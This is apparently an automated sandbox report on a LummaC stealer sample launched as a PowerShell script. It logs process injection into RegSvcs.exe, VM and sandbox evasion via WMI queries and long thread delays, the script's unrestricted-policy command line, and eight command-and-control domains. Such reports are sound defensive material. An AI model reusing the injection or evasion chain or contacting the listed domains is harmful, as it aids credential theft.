Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00415A2F	10_2_00415A2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00413C90	10_2_00413C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00435C90	10_2_00435C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00408CA0	10_2_00408CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00441CB0	10_2_00441CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00429CB7	10_2_00429CB7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00421550	10_2_00421550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00441560	10_2_00441560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00415D66	10_2_00415D66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041B570	10_2_0041B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00420534	10_2_00420534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043ADD0	10_2_0043ADD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043C5E0	10_2_0043C5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041ADE2	10_2_0041ADE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042ADEB	10_2_0042ADEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004075F0	10_2_004075F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004415F0	10_2_004415F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00427E50	10_2_00427E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00429E61	10_2_00429E61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00434E0E	10_2_00434E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00442610	10_2_00442610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040B620	10_2_0040B620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041C620	10_2_0041C620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00419E20	10_2_00419E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00404E30	10_2_00404E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00427E30	10_2_00427E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040F6C0	10_2_0040F6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041CEE0	10_2_0041CEE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00411685	10_2_00411685
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004336B0	10_2_004336B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00402F40	10_2_00402F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00410F7A	10_2_00410F7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00414710	10_2_00414710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00425710	10_2_00425710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00431FCA	10_2_00431FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00405FF0	10_2_00405FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00439F86	10_2_00439F86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00423F8C	10_2_00423F8C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00413C80 appears 123 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00408180 appears 43 times

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@8/5@10/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_0043B500 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

10_2_0043B500

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yomkru3.2af.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 62.122.184.98 (3).ps1

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C0FD4C00 push E8FFFFFFh; iretd	1_2_00007FF7C0FD4C0D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C0FD540F push ds; retf	1_2_00007FF7C0FD5411
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00448874 push FFFFFFB2h; ret	10_2_00448876
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004412A0 push eax; mov dword ptr [esp], 1C1F1E71h	10_2_004412A1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5212			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2380			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -3689348814741908s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_0043FCF0 LdrInitializeThunk,

10_2_0043FCF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: truculengisau.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: spookycappy.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: punishzement.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nuttyshopr.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: marketlumpe.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: littlenotii.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grandiouseziu.biz
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fraggielek.biz

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 444000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 447000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 455000	Jump to behavior
